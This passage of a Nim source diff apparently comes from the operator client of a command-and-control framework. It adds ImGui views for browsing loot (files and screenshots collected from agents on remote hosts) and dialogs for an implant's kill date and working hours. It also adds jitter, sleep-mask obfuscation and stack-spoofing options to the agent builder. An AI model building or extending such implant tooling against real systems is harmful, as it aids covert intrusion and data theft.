if igSelectable_Bool(item.lootId.cstring, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32 or ImGuiSelectableFlags_AllowOverlap.int32, vec2(0, 0)):
|
||||||
|
component.selectedIndex = i
|
||||||
|
component.textarea.clear()
|
||||||
|
|
||||||
|
if igIsItemHovered(ImGuiHoveredFlags_None.int32) and igIsMouseClicked_Bool(ImGuiMouseButton_Right.int32, false):
|
||||||
|
component.selectedIndex = i
|
||||||
|
|
||||||
|
igPopID()
|
||||||
|
|
||||||
|
if igTableSetColumnIndex(1):
|
||||||
|
igText(item.agentId.cstring)
|
||||||
|
|
||||||
|
if igTableSetColumnIndex(2):
|
||||||
|
igText(item.host.cstring)
|
||||||
|
|
||||||
|
if igTableSetColumnIndex(3):
|
||||||
|
igText(item.path.extractFilename().replace("C_", "C:/").replace("_", "/").cstring)
|
||||||
|
|
||||||
|
if igTableSetColumnIndex(4):
|
||||||
|
igText(item.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss").cstring)
|
||||||
|
|
||||||
|
if igTableSetColumnIndex(5):
|
||||||
|
igText(($item.size).cstring)
|
||||||
|
|
||||||
|
# Handle right-click context menu
|
||||||
|
if component.selectedIndex >= 0 and component.selectedIndex < component.items.len and igBeginPopupContextWindow("Downloads", ImGui_PopupFlags_MouseButtonRight.int32):
|
||||||
|
let item = component.items[component.selectedIndex]
|
||||||
|
|
||||||
|
if igMenuItem("Download", nil, false, true):
|
||||||
|
# Download file
|
||||||
|
try:
|
||||||
|
let path = callDialogFileSave("Save File")
|
||||||
|
let data = component.contents[item.lootId]
|
||||||
|
writeFile(path, data)
|
||||||
|
except IOError:
|
||||||
|
discard
|
||||||
|
igCloseCurrentPopup()
|
||||||
|
|
||||||
|
if igMenuItem("Remove", nil, false, true):
|
||||||
|
# Task team server to remove the loot item
|
||||||
|
connection.sendRemoveLoot(item.lootId)
|
||||||
|
component.items.delete(component.selectedIndex)
|
||||||
|
igCloseCurrentPopup()
|
||||||
|
|
||||||
|
igEndPopup()
|
||||||
|
|
||||||
|
igEndTable()
|
||||||
|
|
||||||
|
igEndChild()
|
||||||
|
igSameLine(0.0f, 0.0f)
|
||||||
|
|
||||||
|
# Right panel (file content)
|
||||||
|
if igBeginChild_Str("##Preview", vec2(0.0f, 0.0f), ImGui_ChildFlags_Borders.int32, ImGui_WindowFlags_None.int32):
|
||||||
|
|
||||||
|
if component.selectedIndex >= 0 and component.selectedIndex < component.items.len:
|
||||||
|
let item = component.items[component.selectedIndex]
|
||||||
|
|
||||||
|
if not component.contents.hasKey(item.lootId):
|
||||||
|
connection.sendGetLoot(item.lootId)
|
||||||
|
component.contents[item.lootId] = "" # Ensure that the sendGetLoot() function is sent only once by setting a value for the table key
|
||||||
|
|
||||||
|
else:
|
||||||
|
igText(fmt"[{item.host}] ".cstring)
|
||||||
|
igSameLine(0.0f, 0.0f)
|
||||||
|
igText(item.path.extractFilename().replace("C_", "C:/").replace("_", "/").cstring)
|
||||||
|
|
||||||
|
igDummy(vec2(0.0f, 5.0f))
|
||||||
|
igSeparator()
|
||||||
|
igDummy(vec2(0.0f, 5.0f))
|
||||||
|
|
||||||
|
if component.textarea.isEmpty() and not component.contents[item.lootId].isEmptyOrWhitespace():
|
||||||
|
component.textarea.addItem(LOG_OUTPUT, component.contents[item.lootId])
|
||||||
|
|
||||||
|
component.textarea.draw(vec2(-1.0f, -1.0f))
|
||||||
|
|
||||||
|
else:
|
||||||
|
igText("Select item to preview contents")
|
||||||
|
|
||||||
|
igEndChild()
|
||||||
147
src/client/views/loot/screenshots.nim
Normal file
@@ -0,0 +1,147 @@
|
|||||||
|
import times, tables, native_dialogs
|
||||||
|
import imguin/[cimgui, glfw_opengl, simple]
|
||||||
|
import ../../utils/appImGui
|
||||||
|
import ../../../common/[types, utils]
|
||||||
|
import ../../core/websocket
|
||||||
|
|
||||||
|
type
|
||||||
|
ScreenshotTexture* = ref object
|
||||||
|
textureId*: GLuint
|
||||||
|
data*: string
|
||||||
|
width: int
|
||||||
|
height: int
|
||||||
|
|
||||||
|
ScreenshotsComponent* = ref object of RootObj
|
||||||
|
title: string
|
||||||
|
items*: seq[LootItem]
|
||||||
|
selectedIndex: int
|
||||||
|
textures: Table[string, ScreenshotTexture]
|
||||||
|
|
||||||
|
proc LootScreenshots*(title: string): ScreenshotsComponent =
|
||||||
|
result = new ScreenshotsComponent
|
||||||
|
result.title = title
|
||||||
|
result.items = @[]
|
||||||
|
result.selectedIndex = -1
|
||||||
|
result.textures = initTable[string, ScreenshotTexture]()
|
||||||
|
|
||||||
|
proc addTexture*(component: ScreenshotsComponent, lootId: string, data: string) =
|
||||||
|
var textureId: GLuint
|
||||||
|
let (width, height) = loadTextureFromBytes(string.toBytes(data), textureId)
|
||||||
|
component.textures[lootId] = ScreenshotTexture(
|
||||||
|
textureId: textureId,
|
||||||
|
data: data,
|
||||||
|
width: width,
|
||||||
|
height: height
|
||||||
|
)
|
||||||
|
|
||||||
|
proc draw*(component: ScreenshotsComponent, showComponent: ptr bool, connection: WsConnection) =
|
||||||
|
igBegin(component.title.cstring, showComponent, 0)
|
||||||
|
defer: igEnd()
|
||||||
|
|
||||||
|
var availableSize: ImVec2
|
||||||
|
igGetContentRegionAvail(addr availableSize)
|
||||||
|
|
||||||
|
# Left panel (file table)
|
||||||
|
let childFlags = ImGui_ChildFlags_ResizeX.int32 or ImGui_ChildFlags_NavFlattened.int32
|
||||||
|
if igBeginChild_Str("##Left", vec2(availableSize.x * 0.5f, 0.0f), childFlags, ImGui_WindowFlags_None.int32):
|
||||||
|
|
||||||
|
let tableFlags = (
|
||||||
|
ImGui_TableFlags_Resizable.int32 or
|
||||||
|
ImGui_TableFlags_Reorderable.int32 or
|
||||||
|
ImGui_TableFlags_Hideable.int32 or
|
||||||
|
ImGui_TableFlags_HighlightHoveredColumn.int32 or
|
||||||
|
ImGui_TableFlags_RowBg.int32 or
|
||||||
|
ImGui_TableFlags_BordersV.int32 or
|
||||||
|
ImGui_TableFlags_BordersH.int32 or
|
||||||
|
ImGui_TableFlags_ScrollY.int32 or
|
||||||
|
ImGui_TableFlags_ScrollX.int32 or
|
||||||
|
ImGui_TableFlags_NoBordersInBodyUntilResize.int32 or
|
||||||
|
ImGui_TableFlags_SizingStretchSame.int32
|
||||||
|
)
|
||||||
|
|
||||||
|
let cols: int32 = 5
|
||||||
|
if igBeginTable("##Items", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
|
||||||
|
igTableSetupColumn("ID", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
|
igTableSetupColumn("AgentID", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
|
||||||
|
igTableSetupColumn("Host", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
|
igTableSetupColumn("Creation Date", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
|
igTableSetupColumn("File Size", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
|
igTableSetupScrollFreeze(0, 1)
|
||||||
|
igTableHeadersRow()
|
||||||
|
|
||||||
|
for i, item in component.items:
|
||||||
|
igTableNextRow(ImGuiTableRowFlags_None.int32, 0.0f)
|
||||||
|
|
||||||
|
if igTableSetColumnIndex(0):
|
||||||
|
igPushID_Int(i.int32)
|
||||||
|
let isSelected = component.selectedIndex == i
|
||||||
|
if igSelectable_Bool(item.lootId.cstring, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32 or ImGuiSelectableFlags_AllowOverlap.int32, vec2(0, 0)):
|
||||||
|
component.selectedIndex = i
|
||||||
|
|
||||||
|
if igIsItemHovered(ImGuiHoveredFlags_None.int32) and igIsMouseClicked_Bool(ImGuiMouseButton_Right.int32, false):
|
||||||
|
component.selectedIndex = i
|
||||||
|
|
||||||
|
igPopID()
|
||||||
|
|
||||||
|
if igTableSetColumnIndex(1):
|
||||||
|
igText(item.agentId.cstring)
|
||||||
|
|
||||||
|
if igTableSetColumnIndex(2):
|
||||||
|
igText(item.host.cstring)
|
||||||
|
|
||||||
|
if igTableSetColumnIndex(3):
|
||||||
|
igText(item.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss").cstring)
|
||||||
|
|
||||||
|
if igTableSetColumnIndex(4):
|
||||||
|
igText(($item.size).cstring)
|
||||||
|
|
||||||
|
# Handle right-click context menu
|
||||||
|
if component.selectedIndex >= 0 and component.selectedIndex < component.items.len and igBeginPopupContextWindow("Downloads", ImGui_PopupFlags_MouseButtonRight.int32):
|
||||||
|
|
||||||
|
let item = component.items[component.selectedIndex]
|
||||||
|
|
||||||
|
if igMenuItem("Download", nil, false, true):
|
||||||
|
# Download screenshot
|
||||||
|
try:
|
||||||
|
let path = callDialogFileSave("Save File")
|
||||||
|
let data = component.textures[item.lootId].data
|
||||||
|
writeFile(path, data)
|
||||||
|
except IOError:
|
||||||
|
discard
|
||||||
|
igCloseCurrentPopup()
|
||||||
|
|
||||||
|
if igMenuItem("Remove", nil, false, true):
|
||||||
|
# Task team server to remove the loot item
|
||||||
|
connection.sendRemoveLoot(item.lootId)
|
||||||
|
component.items.delete(component.selectedIndex)
|
||||||
|
igCloseCurrentPopup()
|
||||||
|
|
||||||
|
igEndPopup()
|
||||||
|
|
||||||
|
igEndTable()
|
||||||
|
|
||||||
|
igEndChild()
|
||||||
|
igSameLine(0.0f, 0.0f)
|
||||||
|
|
||||||
|
# Right panel (file content)
|
||||||
|
if igBeginChild_Str("##Preview", vec2(0.0f, 0.0f), ImGui_ChildFlags_Borders.int32, ImGui_WindowFlags_None.int32):
|
||||||
|
|
||||||
|
if component.selectedIndex >= 0 and component.selectedIndex < component.items.len:
|
||||||
|
|
||||||
|
let item = component.items[component.selectedIndex]
|
||||||
|
|
||||||
|
# Check if the texture for the loot item has already been loaded from the team server
|
||||||
|
# If the texture doesn't exist yet, send a request to the team server to retrieve and render it
|
||||||
|
if not component.textures.hasKey(item.lootId):
|
||||||
|
connection.sendGetLoot(item.lootId)
|
||||||
|
component.textures[item.lootId] = nil # Ensure that the sendGetLoot() function is sent only once by setting a value for the table key
|
||||||
|
|
||||||
|
# Display the image preview
|
||||||
|
else:
|
||||||
|
let texture = component.textures[item.lootId]
|
||||||
|
if not texture.isNil():
|
||||||
|
igImage(ImTextureRef(internal_TexData: nil, internal_TexID: texture.textureId), vec2(texture.width, texture.height), vec2(0, 0), vec2(1, 1))
|
||||||
|
|
||||||
|
else:
|
||||||
|
igText("Select item for preview.")
|
||||||
|
igEndChild()
|
||||||
115
src/client/views/modals/configureKillDate.nim
Normal file
@@ -0,0 +1,115 @@
|
|||||||
|
import times
|
||||||
|
import imguin/[cimgui, glfw_opengl]
|
||||||
|
import ../../utils/appImGui
|
||||||
|
|
||||||
|
type
|
||||||
|
KillDateModalComponent* = ref object of RootObj
|
||||||
|
killDateTime: ImPlotTime
|
||||||
|
killDateLevel: int32
|
||||||
|
killDateHour: int32
|
||||||
|
killDateMinute: int32
|
||||||
|
killDateSecond: int32
|
||||||
|
|
||||||
|
proc KillDateModal*(): KillDateModalComponent =
|
||||||
|
result = new KillDateModalComponent
|
||||||
|
result.killDateLevel = 0
|
||||||
|
result.killDateTime = ImPlotTIme()
|
||||||
|
|
||||||
|
# Initialize to current date
|
||||||
|
# Note: ImPlot starts months at index 0, while nim's "times" module starts at 1, hence the subtraction
|
||||||
|
let now = now()
|
||||||
|
ImPlot_MakeTime(addr result.killDateTime, now.year.int32, (now.month.ord.int32 - 1), now.monthday.int32, 0, 0, 0, 0)
|
||||||
|
|
||||||
|
result.killDateHour = 0
|
||||||
|
result.killDateMinute = 0
|
||||||
|
result.killDateSecond = 0
|
||||||
|
|
||||||
|
proc wrapValue(value: int32, max: int32): int32 =
|
||||||
|
result = value mod max
|
||||||
|
if result < 0:
|
||||||
|
result += max
|
||||||
|
|
||||||
|
proc resetModalValues*(component: KillDateModalComponent) =
|
||||||
|
component.killDateLevel = 0
|
||||||
|
component.killDateTime = ImPlotTIme()
|
||||||
|
|
||||||
|
# Initialize to current date
|
||||||
|
let now = now()
|
||||||
|
ImPlot_MakeTime(addr component.killDateTime, now.year.int32, (now.month.ord.int32 - 1), now.monthday.int32, 0, 0, 0, 0)
|
||||||
|
|
||||||
|
component.killDateHour = 0
|
||||||
|
component.killDateMinute = 0
|
||||||
|
component.killDateSecond = 0
|
||||||
|
|
||||||
|
proc draw*(component: KillDateModalComponent): int64 =
|
||||||
|
result = 0
|
||||||
|
|
||||||
|
# Center modal
|
||||||
|
let vp = igGetMainViewport()
|
||||||
|
var center: ImVec2
|
||||||
|
ImGuiViewport_GetCenter(addr center, vp)
|
||||||
|
igSetNextWindowPos(center, ImGuiCond_Appearing.int32, vec2(0.5f, 0.5f))
|
||||||
|
|
||||||
|
let modalWidth = max(400.0f, vp.Size.x * 0.2)
|
||||||
|
igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32)
|
||||||
|
|
||||||
|
var show = true
|
||||||
|
let windowFlags = ImGuiWindowFlags_None.int32
|
||||||
|
if igBeginPopupModal("Configure Kill Date", addr show, windowFlags):
|
||||||
|
defer: igEndPopup()
|
||||||
|
|
||||||
|
let textSpacing = igGetStyle().ItemSpacing.x
|
||||||
|
var availableSize: ImVec2
|
||||||
|
|
||||||
|
# Date picker
|
||||||
|
if ImPlot_ShowDatePicker("##KillDate", addr component.killDateLevel, addr component.killDateTime, nil, nil):
|
||||||
|
discard
|
||||||
|
|
||||||
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
|
igSeparator()
|
||||||
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
|
|
||||||
|
# Time input fields
|
||||||
|
var charSize: ImVec2
|
||||||
|
igCalcTextSize(addr charSize, "00", nil, false, -1.0)
|
||||||
|
let charWidth = charSize.x + 10.0f
|
||||||
|
|
||||||
|
let dateText = component.killDateTime.S.fromUnix().utc().format("dd. MMMM yyyy") & '\0'
|
||||||
|
igInputText("##Text", dateText.cstring, dateText.len().csize_t, ImGui_InputTextFlags_ReadOnly.int32, nil, nil)
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
|
||||||
|
igPushItemWidth(charWidth)
|
||||||
|
igInputScalar("##KillDateHour", ImGuiDataType_S32.int32, addr component.killDateHour, nil, nil, "%02d", 0)
|
||||||
|
igPopItemWidth()
|
||||||
|
igSameLine(0.0f, 0.0f)
|
||||||
|
igText(":")
|
||||||
|
igSameLine(0.0f, 0.0f)
|
||||||
|
igPushItemWidth(charWidth)
|
||||||
|
igInputScalar("##HillDateMinute", ImGuiDataType_S32.int32, addr component.killDateMinute, nil, nil, "%02d", 0)
|
||||||
|
igPopItemWidth()
|
||||||
|
igSameLine(0.0f, 0.0f)
|
||||||
|
igText(":")
|
||||||
|
igSameLine(0.0f, 0.0f)
|
||||||
|
igPushItemWidth(charWidth)
|
||||||
|
igInputScalar("##KillDateSecond", ImGuiDataType_S32.int32, addr component.killDateSecond, nil, nil, "%02d", 0)
|
||||||
|
igPopItemWidth()
|
||||||
|
|
||||||
|
# Wrap time values
|
||||||
|
component.killDateHour = wrapValue(component.killDateHour, 24)
|
||||||
|
component.killDateMinute = wrapValue(component.killDateMinute, 60)
|
||||||
|
component.killDateSecond = wrapValue(component.killDateSecond, 60)
|
||||||
|
|
||||||
|
igGetContentRegionAvail(addr availableSize)
|
||||||
|
|
||||||
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
|
|
||||||
|
if igButton("Configure", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
|
||||||
|
result = component.killDateTime.S + (component.killDateHour * 3600) + (component.killDateMinute * 60) + component.killDateSecond
|
||||||
|
component.resetModalValues()
|
||||||
|
igCloseCurrentPopup()
|
||||||
|
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
|
||||||
|
if igButton("Cancel", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
|
||||||
|
component.resetModalValues()
|
||||||
|
igCloseCurrentPopup()
|
||||||
101
src/client/views/modals/configureWorkingHours.nim
Normal file
@@ -0,0 +1,101 @@
|
|||||||
|
import imguin/[cimgui, glfw_opengl]
|
||||||
|
import ../../utils/appImGui
|
||||||
|
import ../../../common/types
|
||||||
|
|
||||||
|
type
|
||||||
|
WorkingHoursModalComponent* = ref object of RootObj
|
||||||
|
workingHours: WorkingHours
|
||||||
|
|
||||||
|
proc WorkingHoursModal*(): WorkingHoursModalComponent =
|
||||||
|
result = new WorkingHoursModalComponent
|
||||||
|
result.workingHours = WorkingHours(
|
||||||
|
enabled: false,
|
||||||
|
startHour: 9,
|
||||||
|
startMinute: 0,
|
||||||
|
endHour: 17,
|
||||||
|
endMinute: 0
|
||||||
|
)
|
||||||
|
|
||||||
|
proc resetModalValues*(component: WorkingHoursModalComponent) =
|
||||||
|
component.workingHours = WorkingHours(
|
||||||
|
enabled: false,
|
||||||
|
startHour: 9,
|
||||||
|
startMinute: 0,
|
||||||
|
endHour: 17,
|
||||||
|
endMinute: 0
|
||||||
|
)
|
||||||
|
|
||||||
|
proc wrapValue(value: int32, max: int32): int32 =
|
||||||
|
result = value mod max
|
||||||
|
if result < 0:
|
||||||
|
result += max
|
||||||
|
|
||||||
|
proc draw*(component: WorkingHoursModalComponent): WorkingHours =
|
||||||
|
result = component.workingHours
|
||||||
|
|
||||||
|
# Center modal
|
||||||
|
let vp = igGetMainViewport()
|
||||||
|
var center: ImVec2
|
||||||
|
ImGuiViewport_GetCenter(addr center, vp)
|
||||||
|
igSetNextWindowPos(center, ImGuiCond_Appearing.int32, vec2(0.5f, 0.5f))
|
||||||
|
|
||||||
|
let modalWidth = max(400.0f, vp.Size.x * 0.2)
|
||||||
|
igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32)
|
||||||
|
|
||||||
|
var show = true
|
||||||
|
let windowFlags = ImGuiWindowFlags_None.int32
|
||||||
|
if igBeginPopupModal("Configure Working Hours", addr show, windowFlags):
|
||||||
|
defer: igEndPopup()
|
||||||
|
|
||||||
|
let textSpacing = igGetStyle().ItemSpacing.x
|
||||||
|
var availableSize: ImVec2
|
||||||
|
|
||||||
|
var charSize: ImVec2
|
||||||
|
igCalcTextSize(addr charSize, "00", nil, false, -1.0)
|
||||||
|
let charWidth = charSize.x + 10.0f
|
||||||
|
|
||||||
|
igText("Start: ")
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
igPushItemWidth(charWidth)
|
||||||
|
igInputScalar("##StartHours", ImGuiDataType_S32.int32, addr component.workingHours.startHour, nil, nil, "%02d", 0)
|
||||||
|
igPopItemWidth()
|
||||||
|
igSameLine(0.0f, 0.0f)
|
||||||
|
igText(":")
|
||||||
|
igSameLine(0.0f, 0.0f)
|
||||||
|
igPushItemWidth(charWidth)
|
||||||
|
igInputScalar("##StartMinute", ImGuiDataType_S32.int32, addr component.workingHours.startMinute, nil, nil, "%02d", 0)
|
||||||
|
igPopItemWidth()
|
||||||
|
|
||||||
|
igText("End: ")
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
igPushItemWidth(charWidth)
|
||||||
|
igInputScalar("##EndHour", ImGuiDataType_S32.int32, addr component.workingHours.endHour, nil, nil, "%02d", 0)
|
||||||
|
igPopItemWidth()
|
||||||
|
igSameLine(0.0f, 0.0f)
|
||||||
|
igText(":")
|
||||||
|
igSameLine(0.0f, 0.0f)
|
||||||
|
igPushItemWidth(charWidth)
|
||||||
|
igInputScalar("##EndMinute", ImGuiDataType_S32.int32, addr component.workingHours.endMinute, nil, nil, "%02d", 0)
|
||||||
|
igPopItemWidth()
|
||||||
|
|
||||||
|
# Wrap time values
|
||||||
|
component.workingHours.startHour = wrapValue(component.workingHours.startHour, 24)
|
||||||
|
component.workingHours.endHour = wrapValue(component.workingHours.endHour, 24)
|
||||||
|
component.workingHours.startMinute = wrapValue(component.workingHours.startMinute, 60)
|
||||||
|
component.workingHours.endMinute = wrapValue(component.workingHours.endMinute, 60)
|
||||||
|
|
||||||
|
igGetContentRegionAvail(addr availableSize)
|
||||||
|
|
||||||
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
|
|
||||||
|
if igButton("Configure", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
|
||||||
|
component.workingHours.enabled = true
|
||||||
|
result = component.workingHours
|
||||||
|
component.resetModalValues()
|
||||||
|
igCloseCurrentPopup()
|
||||||
|
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
|
||||||
|
if igButton("Cancel", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
|
||||||
|
component.resetModalValues()
|
||||||
|
igCloseCurrentPopup()
|
||||||
@@ -1,27 +1,49 @@
|
|||||||
import strutils, sequtils, times
|
import strutils, strformat, sequtils, times
|
||||||
import imguin/[cimgui, glfw_opengl, simple]
|
import imguin/[cimgui, glfw_opengl]
|
||||||
import ../../utils/[appImGui, colors]
|
import ../widgets/[dualListSelection, textarea]
|
||||||
import ../../../common/[types, profile, utils]
|
import ./[configureKillDate, configureWorkingHours]
|
||||||
|
import ../../utils/appImGui
|
||||||
|
import ../../../common/types
|
||||||
import ../../../modules/manager
|
import ../../../modules/manager
|
||||||
import ../widgets/dualListSelection
|
export addItem
|
||||||
|
|
||||||
type
|
type
|
||||||
AgentModalComponent* = ref object of RootObj
|
AgentModalComponent* = ref object of RootObj
|
||||||
listener: int32
|
listener: int32
|
||||||
sleepDelay: uint32
|
sleepDelay: uint32
|
||||||
|
jitter: int32
|
||||||
sleepMask: int32
|
sleepMask: int32
|
||||||
spoofStack: bool
|
spoofStack: bool
|
||||||
|
killDateEnabled: bool
|
||||||
|
killDate: int64
|
||||||
|
workingHoursEnabled: bool
|
||||||
|
workingHours: WorkingHours
|
||||||
|
verbose: bool
|
||||||
sleepMaskTechniques: seq[string]
|
sleepMaskTechniques: seq[string]
|
||||||
moduleSelection: DualListSelectionComponent[Module]
|
moduleSelection: DualListSelectionWidget[Module]
|
||||||
buildLog: ConsoleItems
|
buildLog*: TextareaWidget
|
||||||
|
killDateModal*: KillDateModalComponent
|
||||||
|
workingHoursModal*: WorkingHoursModalComponent
|
||||||
|
|
||||||
|
|
||||||
proc AgentModal*(): AgentModalComponent =
|
proc AgentModal*(): AgentModalComponent =
|
||||||
result = new AgentModalComponent
|
result = new AgentModalComponent
|
||||||
result.listener = 0
|
result.listener = 0
|
||||||
result.sleepDelay = 5
|
result.sleepDelay = 5
|
||||||
|
result.jitter = 15
|
||||||
result.sleepMask = 0
|
result.sleepMask = 0
|
||||||
result.spoofStack = false
|
result.spoofStack = false
|
||||||
|
result.killDateEnabled = false
|
||||||
|
result.killDate = 0
|
||||||
|
result.workingHoursEnabled = false
|
||||||
|
result.workingHours = WorkingHours(
|
||||||
|
enabled: false,
|
||||||
|
startHour: 0,
|
||||||
|
startMinute: 0,
|
||||||
|
endHour: 0,
|
||||||
|
endMinute: 0
|
||||||
|
)
|
||||||
|
result.verbose = false
|
||||||
|
|
||||||
for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high:
|
for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high:
|
||||||
result.sleepMaskTechniques.add($technique)
|
result.sleepMaskTechniques.add($technique)
|
||||||
@@ -37,43 +59,29 @@ proc AgentModal*(): AgentModalComponent =
|
|||||||
return cmp(x.moduleType, y.moduleType)
|
return cmp(x.moduleType, y.moduleType)
|
||||||
|
|
||||||
result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc)
|
result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc)
|
||||||
|
result.buildLog = Textarea(showTimestamps = false)
|
||||||
result.buildlog = new ConsoleItems
|
result.killDateModal = KillDateModal()
|
||||||
result.buildLog.items = @[]
|
result.workingHoursModal = WorkingHoursModal()
|
||||||
|
|
||||||
proc resetModalValues*(component: AgentModalComponent) =
|
proc resetModalValues*(component: AgentModalComponent) =
|
||||||
component.listener = 0
|
component.listener = 0
|
||||||
component.sleepDelay = 5
|
component.sleepDelay = 5
|
||||||
|
component.jitter = 15
|
||||||
component.sleepMask = 0
|
component.sleepMask = 0
|
||||||
component.spoofStack = false
|
component.spoofStack = false
|
||||||
|
component.killDateEnabled = false
|
||||||
|
component.killDate = 0
|
||||||
|
component.workingHoursEnabled = false
|
||||||
|
component.workingHours = WorkingHours(
|
||||||
|
enabled: false,
|
||||||
|
startHour: 0,
|
||||||
|
startMinute: 0,
|
||||||
|
endHour: 0,
|
||||||
|
endMinute: 0
|
||||||
|
)
|
||||||
|
component.verbose = false
|
||||||
component.moduleSelection.reset()
|
component.moduleSelection.reset()
|
||||||
component.buildLog.items = @[]
|
component.buildLog.clear()
|
||||||
|
|
||||||
proc addBuildlogItem*(component: AgentModalComponent, itemType: LogType, data: string, timestamp: int64 = now().toTime().toUnix()) =
|
|
||||||
for line in data.split("\n"):
|
|
||||||
component.buildLog.items.add(ConsoleItem(
|
|
||||||
timestamp: timestamp,
|
|
||||||
itemType: itemType,
|
|
||||||
text: line
|
|
||||||
))
|
|
||||||
|
|
||||||
proc print(component: AgentModalComponent, item: ConsoleItem) =
|
|
||||||
case item.itemType:
|
|
||||||
of LOG_INFO, LOG_INFO_SHORT:
|
|
||||||
igTextColored(CONSOLE_INFO, $item.itemType)
|
|
||||||
of LOG_ERROR, LOG_ERROR_SHORT:
|
|
||||||
igTextColored(CONSOLE_ERROR, $item.itemType)
|
|
||||||
of LOG_SUCCESS, LOG_SUCCESS_SHORT:
|
|
||||||
igTextColored(CONSOLE_SUCCESS, $item.itemType)
|
|
||||||
of LOG_WARNING, LOG_WARNING_SHORT:
|
|
||||||
igTextColored(CONSOLE_WARNING, $item.itemType)
|
|
||||||
of LOG_COMMAND:
|
|
||||||
igTextColored(CONSOLE_COMMAND, $item.itemType)
|
|
||||||
of LOG_OUTPUT:
|
|
||||||
igTextColored(vec4(0.0f, 0.0f, 0.0f, 0.0f), $item.itemType)
|
|
||||||
|
|
||||||
igSameLine(0.0f, 0.0f)
|
|
||||||
igTextUnformatted(item.text.cstring, nil)
|
|
||||||
|
|
||||||
proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBuildInformation =
|
proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBuildInformation =
|
||||||
|
|
||||||
@@ -110,6 +118,12 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
|||||||
igSetNextItemWidth(availableSize.x)
|
igSetNextItemWidth(availableSize.x)
|
||||||
igInputScalar("##InputSleepDelay", ImGuiDataType_U32.int32, addr component.sleepDelay, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32)
|
igInputScalar("##InputSleepDelay", ImGuiDataType_U32.int32, addr component.sleepDelay, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32)
|
||||||
|
|
||||||
|
# Jitter
|
||||||
|
igText("Jitter: ")
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
igSetNextItemWidth(availableSize.x)
|
||||||
|
igSliderInt("##InputJitter", addr component.jitter, 0, 100, "%d%%", ImGui_SliderFlags_None.int32)
|
||||||
|
|
||||||
# Agent sleep obfuscation technique dropdown selection
|
# Agent sleep obfuscation technique dropdown selection
|
||||||
igText("Sleep mask: ")
|
igText("Sleep mask: ")
|
||||||
igSameLine(0.0f, textSpacing)
|
igSameLine(0.0f, textSpacing)
|
||||||
@@ -127,6 +141,52 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
|||||||
igCheckbox("##InputSpoofStack", addr component.spoofStack)
|
igCheckbox("##InputSpoofStack", addr component.spoofStack)
|
||||||
igEndDisabled()
|
igEndDisabled()
|
||||||
|
|
||||||
|
# Verbose mode checkbox
|
||||||
|
igText("Verbose: ")
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
igSetNextItemWidth(availableSize.x)
|
||||||
|
igCheckbox("##InputVerbose", addr component.verbose)
|
||||||
|
|
||||||
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
|
igSeparator()
|
||||||
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
|
|
||||||
|
# Kill date (checkbox & button to choose date)
|
||||||
|
igText("Kill date: ")
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
igCheckbox("##InputKillDate", addr component.killDateEnabled)
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
|
||||||
|
igBeginDisabled(not component.killDateEnabled)
|
||||||
|
igGetContentRegionAvail(addr availableSize)
|
||||||
|
igSetNextItemWidth(availableSize.x)
|
||||||
|
if igButton((if component.killDate != 0: component.killDate.fromUnix().utc().format("dd. MMMM yyyy HH:mm:ss") & " UTC" else: "Configure##KillDate").cstring, vec2(-1.0f, 0.0f)):
|
||||||
|
igOpenPopup_str("Configure Kill Date", ImGui_PopupFlags_None.int32)
|
||||||
|
igEndDisabled()
|
||||||
|
|
||||||
|
let killDate = component.killDateModal.draw()
|
||||||
|
if killDate != 0:
|
||||||
|
component.killDate = killDate
|
||||||
|
|
||||||
|
# Working hours
|
||||||
|
igText("Working hours: ")
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
igCheckbox("##InputWorkingHours", addr component.workingHoursEnabled)
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
|
||||||
|
igBeginDisabled(not component.workingHoursEnabled)
|
||||||
|
igGetContentRegionAvail(addr availableSize)
|
||||||
|
igSetNextItemWidth(availableSize.x)
|
||||||
|
|
||||||
|
let workingHoursLabel = fmt"{component.workingHours.startHour:02}:{component.workingHours.startMinute:02} - {component.workingHours.endHour:02}:{component.workingHours.endMinute:02}"
|
||||||
|
